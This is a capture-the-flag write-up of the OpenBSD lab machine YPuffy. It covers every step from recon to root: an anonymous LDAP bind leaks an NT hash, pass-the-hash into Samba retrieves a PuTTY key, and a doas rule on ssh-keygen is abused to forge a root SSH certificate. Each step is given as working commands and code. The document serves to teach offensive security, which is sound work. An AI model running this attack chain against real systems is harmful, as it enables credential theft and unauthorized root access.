Post

Hacking YPuffy

YPuffy is a Medium OpenBSD box where an anonymous LDAP bind leaks a user's NT hash, which pass-the-hashes into Samba to grab an unencrypted PuTTY key and SSH in. Root comes from a doas rule that lets the user run ssh-keygen as the SSH certificate authority owner, forging a root login certificate — this post covers recon through root.

Hacking YPuffy

Overview

YPuffy is a Medium-difficulty OpenBSD machine built around SSH certificate authentication. An anonymous LDAP bind hands out a Samba NT hash, that hash pass-the-hashes into an SMB share holding an unencrypted PuTTY private key, and the key logs in over SSH. Privilege escalation abuses a doas rule that lets the foothold user run ssh-keygen as the certificate authority’s owner — enough to sign a valid root login certificate.

Recon

PortService
22SSH (OpenSSH)
80HTTP
139/445Samba (SMB)
389LDAP
1
nmap -sC -sV 10.129.163.114

LDAP on 389 next to Samba on 445 is the tell — LDAP is acting as the password backend for Samba, so it’s the first place to look for credential material.

Enumeration

LDAP allows an anonymous bind, and the base DN is dc=hackthebox,dc=htb:

1
ldapsearch -x -H ldap://10.129.163.114 -s base namingContexts

Dumping the whole directory returns user objects — and crucially, the sambaNTPassword attribute (an NT hash) for alice1978, readable without authentication:

1
2
3
ldapsearch -x -H ldap://10.129.163.114 -b "dc=hackthebox,dc=htb" > ldap_full.txt
grep -iE "uid:|sambaNTPassword|sambaSID" ldap_full.txt
# sambaNTPassword: <redacted>   (alice1978)

This is a textbook CWE-200 information exposure: a directory readable by anyone is leaking insufficiently protected credentials.

Foothold

An NT hash is the SMB credential — no cracking needed. Pass-the-hash to list shares shows alice is READ/WRITE:

1
nxc smb 10.129.163.114 -u alice1978 -H <redacted> --shares

The share holds a PuTTY private key, which we pull with the same hash:

1
smbclient //10.129.163.114/alice -U alice1978 --pw-nt-hash <redacted> -c 'get my_private_key.ppk'

The key is unencrypted (Encryption: none), so it converts to an OpenSSH key. With puttygen unavailable, this small Python script reconstructs the RSA key directly from the PPK fields:

Create convert_ppk.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64, struct
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

lines = open('my_private_key.ppk').read().splitlines()
def block(name):
    for i, l in enumerate(lines):
        if l.startswith(name + ":"):
            n = int(l.split(":")[1])
            return base64.b64decode(''.join(lines[i+1:i+1+n]))
pub, priv = block("Public-Lines"), block("Private-Lines")
def rd(b, o):
    n = struct.unpack(">I", b[o:o+4])[0]
    return b[o+4:o+4+n], o+4+n
_, o = rd(pub, 0); e_b, o = rd(pub, o); n_b, o = rd(pub, o)
d_b, o = rd(priv, 0); p_b, o = rd(priv, o); q_b, o = rd(priv, o)
num = lambda x: int.from_bytes(x, 'big')
e, n, D, P, Q = num(e_b), num(n_b), num(d_b), num(p_b), num(q_b)
pn = rsa.RSAPublicNumbers(e, n)
priv_n = rsa.RSAPrivateNumbers(P, Q, D,
    rsa.rsa_crt_dmp1(D, P), rsa.rsa_crt_dmq1(D, Q), rsa.rsa_crt_iqmp(P, Q), pn)
open('alice.pem', 'wb').write(priv_n.private_key().private_bytes(
    serialization.Encoding.PEM,
    serialization.PrivateFormat.TraditionalOpenSSL,
    serialization.NoEncryption()))
1
2
3
python3 convert_ppk.py
chmod 600 alice.pem
ssh -i alice.pem [email protected]

Replaying a captured authenticator like this is CWE-294, and the unencrypted key on a share is improper authentication waiting to happen.

User flag

1
cat user.txt   # HTB{...}

Shell as alice1978 achieved.

Privilege Escalation

OpenBSD’s doas (its sudo) has this rule:

1
2
cat /etc/doas.conf
# permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen

It looks tightly scoped — one binary, one user. But userca owns the SSH certificate authority’s private key, and SSH trusts certificates signed by it:

1
2
3
grep -iE "trustedusercakeys|authorizedprincipals" /etc/ssh/sshd_config
# TrustedUserCAKeys /home/userca/ca.pub
# AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u

The principals are served by a local web service. Asking it which principal authorizes a root login:

1
2
curl -s "http://127.0.0.1/sshauth?type=principals&username=root"
# 3m3rgencyB4ckd00r

Because doas runs ssh-keygen as the CA owner, we can sign a fresh key with that principal — a fully valid root credential — without ever reading the CA key ourselves:

1
2
3
ssh-keygen -t rsa -N "" -f /tmp/rootkey
doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I htb -n 3m3rgencyB4ckd00r -V +52w /tmp/rootkey.pub
ssh -i /tmp/rootkey -o CertificateFile=/tmp/rootkey-cert.pub [email protected]

This is CWE-269 improper privilege management — handing a low-privileged user execution with the CA owner’s privileges over a trusted signing key is equivalent to handing out root.

Root flag

1
2
id            # uid=0(root) gid=0(wheel)
cat /root/root.txt   # HTB{...}

Full compromise — root via a forged SSH certificate.

This post is licensed under CC BY 4.0 by the author.